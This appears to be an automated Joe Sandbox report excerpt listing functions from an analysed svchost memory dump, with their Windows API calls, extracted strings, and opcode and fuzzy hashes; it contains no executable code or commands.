Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 97E1D572605B408AFBA0DF65D48839D77B4F7A97A8F100116EE8D67B99DB36C091CF02

Function 0000026A879CF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 0000026A879CF510
GetProcAddress.KERNEL32 ref: 0000026A879CF51C

Strings

api-ms-, xrefs: 0000026A879CF45A
ext-ms-, xrefs: 0000026A879CF46D

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: e22ce2f0d6908cfb41650f8e3b1f78ec9287b8d585868ecd0f1c06e4ba5b9ad5
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 5D41E633311A0091FE96DB56A80CB5D3BA6F785BE0F5941299D0DAB784EE3AC4458B02

Function 0000026A879C104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 0000026A879C10B1
RegEnumValueW.ADVAPI32 ref: 0000026A879C1117
GetProcessHeap.KERNEL32 ref: 0000026A879C115A
HeapAlloc.KERNEL32 ref: 0000026A879C1168
GetProcessHeap.KERNEL32 ref: 0000026A879C1185
HeapFree.KERNEL32 ref: 0000026A879C1193

Strings

d, xrefs: 0000026A879C10D6

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: f1e6073484f6787d024fb048a9424189236bd7d4ebebf72dc42381622d64dea6
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 76417173214B84C6EBA0CF61E44839E7BA1F389B98F448129EA8917758EF3DC585CB01

Function 0000026A879CD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FlsGetValue.KERNEL32(?,?,?,0000026A879CC7DE,?,?,?,?,?,?,?,?,0000026A879CCF9D,?,?,00000001), ref: 0000026A879CD087
FlsSetValue.KERNEL32(?,?,?,0000026A879CC7DE,?,?,?,?,?,?,?,?,0000026A879CCF9D,?,?,00000001), ref: 0000026A879CD0A6
FlsSetValue.KERNEL32(?,?,?,0000026A879CC7DE,?,?,?,?,?,?,?,?,0000026A879CCF9D,?,?,00000001), ref: 0000026A879CD0CE
FlsSetValue.KERNEL32(?,?,?,0000026A879CC7DE,?,?,?,?,?,?,?,?,0000026A879CCF9D,?,?,00000001), ref: 0000026A879CD0DF
FlsSetValue.KERNEL32(?,?,?,0000026A879CC7DE,?,?,?,?,?,?,?,?,0000026A879CCF9D,?,?,00000001), ref: 0000026A879CD0F0

Strings

Y%, xrefs: 0000026A879CD0A6
1%, xrefs: 0000026A879CD0CE

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 7de55e3907eeb61d84b2ec02f2a106e95853d66b6f36fb83176ce734d1449b23
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: EC11823170868481FEF8A7395A5E37D715A5BC47F0F644324A839277EAEE6AC5028F02

Function 0000026A879C7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 0000026A879C7538
__scrt_acquire_startup_lock.LIBCMT ref: 0000026A879C758A
_RTC_Initialize.LIBCMT ref: 0000026A879C75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 0000026A879C75DE
__scrt_release_startup_lock.LIBCMT ref: 0000026A879C7609

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 4ecf39c6d282c13922bf66bcab5b528d166167323d1dc1c22cdb0ae5698a6f63
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: CA81D43160064186FFD0AB2AA94D3AD7B90ABC97C0F5C4425EA4877796EB7BC9458F03

Function 0000026A879C9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 0000026A879C9E49
GetLastError.KERNEL32 ref: 0000026A879C9E57
LoadLibraryExW.KERNEL32 ref: 0000026A879C9E81
FreeLibrary.KERNEL32 ref: 0000026A879C9EC7
GetProcAddress.KERNEL32 ref: 0000026A879C9ED3

Strings

api-ms-, xrefs: 0000026A879C9E69

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 95f3983436fef2e635cbbbb6f4cfe75cb904a5ec283e5a170f3328164d622b80
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: FE312731316A00E1EF92DB46A80875C3BA4B7A9BB0F590525DD2E2B390EF3AC145CB02

Function 0000026A879D3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 0000026A879D3DE5
GetLastError.KERNEL32 ref: 0000026A879D3DF1
CloseHandle.KERNEL32 ref: 0000026A879D3E09
CreateFileW.KERNEL32 ref: 0000026A879D3E34
WriteConsoleW.KERNEL32 ref: 0000026A879D3E53

Strings

CONOUT$, xrefs: 0000026A879D3E15

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: b5a7c8e5866d3be681c7c72b6341fd08360724eb52cb5406520433ec029d227b
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: A6116D32310B4086E7E0DB56F84831DBEA0F789FE5F444224EA5E97794DF79C8148B41

Function 0000026A879C3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000026A879C379E
GetCurrentProcess.KERNEL32 ref: 0000026A879C37CC
VirtualProtectEx.KERNEL32 ref: 0000026A879C37EE
GetCurrentProcess.KERNEL32 ref: 0000026A879C3809
VirtualProtectEx.KERNEL32 ref: 0000026A879C382A

Strings

wr, xrefs: 0000026A879C37FF

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: d5baf2fdec3915ccb6d5ba03a26523055d6eaf36c073b9562141c2a23a4540a2
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 91115B36704B4182EF949B62F50826D7AB0FB8ABC5F440029EE8D27794EF3EC505CB06

Function 0000026A879C5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026A879C5B6B
GetThreadContext.KERNEL32 ref: 0000026A879C5CD5

Part of subcall function 0000026A879C5960: GetCurrentThreadId.KERNEL32 ref: 0000026A879C5964

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: d9bcf84c3bd1533dc594d755c904efc893949546bab9f2d4fefad5fd87b2f6ed
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 23D18776208B8882DBB0DB0AE49835E7BA0F3D8B84F540116EA8D57BA9DF7DC541CF41

Function 0000026A879C2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 0000026A879C2F27
HeapAlloc.KERNEL32 ref: 0000026A879C2F3A
StrCmpNIW.SHLWAPI ref: 0000026A879C2FAF
GetProcessHeap.KERNEL32 ref: 0000026A879C3015
HeapFree.KERNEL32 ref: 0000026A879C3023

Strings

dialer, xrefs: 0000026A879C2FA8

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 8cc78c2e0b9a0818aac4479415df311af9c6568ae4cde8b4077327d37afdd94e
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 2231B032701B5582FA94DF16E54876DBBA4FB85BC0F084020EE4867B55EF36C4A18B42

Function 0000026A879CCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 0000026A879CCFAF
FlsSetValue.KERNEL32(?,?,?,0000026A879CD6B5,?,?,?,?,0000026A879CD778), ref: 0000026A879CCFE5
FlsSetValue.KERNEL32(?,?,?,0000026A879CD6B5,?,?,?,?,0000026A879CD778), ref: 0000026A879CD012
FlsSetValue.KERNEL32(?,?,?,0000026A879CD6B5,?,?,?,?,0000026A879CD778), ref: 0000026A879CD023
FlsSetValue.KERNEL32(?,?,?,0000026A879CD6B5,?,?,?,?,0000026A879CD778), ref: 0000026A879CD034
SetLastError.KERNEL32 ref: 0000026A879CD04F

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: a51daef424c37a2d87d3f48ae78d9347c480c631925ac01d6e6589b89c5644b5
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: E611B13130468082FEF4A735965E33D36666BC97F0F500324A83667BDAEE6BC4018E02

Function 0000026A879C199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 0000026A879C19C2
K32GetModuleFileNameExW.KERNEL32 ref: 0000026A879C19E0
PathFindFileNameW.SHLWAPI ref: 0000026A879C19EF
lstrlenW.KERNEL32 ref: 0000026A879C19FB
StrCpyW.SHLWAPI ref: 0000026A879C1A0E
CloseHandle.KERNEL32 ref: 0000026A879C1A1C

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 9a315eb257f643b679e19e597653428afdd5a9ed67b0f0b7c202793297a7241d
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: CB016931300A4082EB94DB52A84C35DBBA1F789BC0F884035EE4963755DF3EC989CB01

Function 0000026A879C36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0000026A879C36E4
GetCurrentProcess.KERNEL32 ref: 0000026A879C36F2
VirtualProtectEx.KERNEL32 ref: 0000026A879C3714
GetCurrentProcess.KERNEL32 ref: 0000026A879C3732
VirtualProtectEx.KERNEL32 ref: 0000026A879C3753
TerminateThread.KERNEL32 ref: 0000026A879C3762

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 0005ef61f3f4758259884e0c528835bf75180136e8c964115b40faba9de71eb2
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: AE012D75211B4482EFA4DB62E80D31D7BB0BB86B86F444428DE4D27754EF7EC1488F02

Function 0000026A879C9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A879C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026A879C90A8
RtlUnwindEx.NTDLL ref: 0000026A879C90F7

Strings

f, xrefs: 0000026A879C9026
csm, xrefs: 0000026A879C908E

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 92aa7bb9b2b6dfa6ad1a732484a25b6d845d725c4ad4245d6686fe6e64f0842d
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 2D51BD32701640CEEF94DF15E84DB5D3BA6F3A4BA8F518124DA0767788EB76C981CB06

Function 0000026A879C8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A879C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 0000026A879C90A8
RtlUnwindEx.NTDLL ref: 0000026A879C90F7

Strings

f, xrefs: 0000026A879C9026
csm, xrefs: 0000026A879C908E

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 1ab68a51141d201d9d3457faa14e522c8d132673c329719a63e2eaa97f42be49
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 4331DF32200680CAEB94DF12E84CB1D7BA5F3A4BE8F458014EE4727789DB3AC941CF06

Function 0000026A879C1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 0000026A879C1A60
StrCmpNIW.SHLWAPI ref: 0000026A879C1A7A
lstrlenW.KERNEL32 ref: 0000026A879C1A89
StrCpyW.SHLWAPI ref: 0000026A879C1A9E

Strings

\\?\, xrefs: 0000026A879C1A6E

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: f116469fb9c2a0e448e9d2de76ad660752bf9178b15ca800e2592a53e1aade34
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 93F03C7230464192EBA0CB21F88875D7F60F789BC8F888021DA4957958DA6EC68DCF05

Function 0000026A879C3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 0000026A879C3066
StrCpyW.SHLWAPI ref: 0000026A879C3076
StrCatW.SHLWAPI ref: 0000026A879C3082
PathCombineW.SHLWAPI ref: 0000026A879C3090

Strings

\\.\pipe\, xrefs: 0000026A879C305C

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 8951257b2819e3fd8c3a1e414e7e6c4bb950c718772d34c177490584403dd16d
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: D7F01C75718B8482FA94CF53B91C11DBE65AB89FD0F089131EE4A67B18DF7DC4458B02

Function 0000026A879CBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 0000026A879CBCBD
GetProcAddress.KERNEL32 ref: 0000026A879CBCD3
FreeLibrary.KERNEL32 ref: 0000026A879CBCFA

Strings

mscoree.dll, xrefs: 0000026A879CBCB4
CorExitProcess, xrefs: 0000026A879CBCCC

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 3b089b17eef97f58e315832727781e6d96eaf58a468135795a3cb71de5b836e2
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 19F06271211A0481EF50CF29E44C35D7F20EB867A5F940219DA6A571E4DF2EC544CB02

Function 0000026A879C50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026A879C5156

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: e84d3f95ef50d0da7100aa3763a05495aa81dff1962d31d5224108d669eafd74
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: EF02B632219B8486EBA0CB59E49875EB7A1F3D4794F204015EB8E97BA9DF7DC484CF01

Function 0000026A879C5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0000026A879C5726

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 67d3c669d68eaeb62026641d81c2ba8ade1a21c8528e3319f6dd4d7c6ecb65f5
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: EE61EA36519B44C6EBA0DB15E54832EB7A0F3D8784F600115FA8E57BA8DB7EC580CF02

Function 0000026A879D4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000026A879D412C
_set_statfp.LIBCMT ref: 0000026A879D4147
_set_statfp.LIBCMT ref: 0000026A879D4163
_set_statfp.LIBCMT ref: 0000026A879D419F

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 951121f1d836c29066c475965dea384ba1a895c4e71a86b8b5a2b369afc9a8fb
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: FC117036A10A9131FAE4D568E85E36D3D516B783F8F280724AD76376F6CA2AC8414E03

Function 0000026A879A3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000026A879A352C
_set_statfp.LIBCMT ref: 0000026A879A3547
_set_statfp.LIBCMT ref: 0000026A879A3563
_set_statfp.LIBCMT ref: 0000026A879A359F

Memory Dump Source

Source File: 0000002D.00000002.3136240029.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a87990000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: aeaa6a3608324816b59301e751e5f347b5c67f5421315ed83d7c14011e8581c2
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 9711C232A12F1111FEE4152CE85E36DB9D06B58374F48A738AD7E277E6CA2AC8415E02

Function 0000026A8799F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000026A8799F124

Strings

or copy constructor iterator', xrefs: 0000026A8799F25A, 0000026A8799F275
Tuesday, xrefs: 0000026A8799F0F4
Wednesday, xrefs: 0000026A8799F1ED

Memory Dump Source

Source File: 0000002D.00000002.3136240029.0000026A87990000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A87990000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a87990000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: eebbbc8525f68246a3b0a6a29bd4a3cb681badd0c78307970aab721f545df6c1
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 4861D372604640C2FAF9CB68E54C36EBAA2F785784F544425CA1A377A4DB37C885CF43

Function 0000026A879CAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 0000026A879CAA68
_CallSETranslator.LIBVCRUNTIME ref: 0000026A879CAAB7

Strings

MOC, xrefs: 0000026A879CAA7C
RCC, xrefs: 0000026A879CAA85

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 91175b491b7fc14e3f1a7658fd3bfdb3fb1216593f4870ebf483384664c1c76e
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 26619D33A00B84CAEB60DF65D48439D7BA1F398BACF084215EF4927B98DB39C595CB41

Function 0000026A879CAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 0000026A879CADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 0000026A879CAE88

Strings

csm, xrefs: 0000026A879CAEDA
csm, xrefs: 0000026A879CADC2

Memory Dump Source

Source File: 0000002D.00000002.3136771059.0000026A879C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000026A879C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_26a879c0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 893e4d8dc827b760fc59cebf5f18d00e76e891684a4649e14e6d9b3ac1800f38
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 2D51BF72100380CAEFB48F65958835D77A4F3D5BA5F188216EB8967BD5CB3AD490DF02

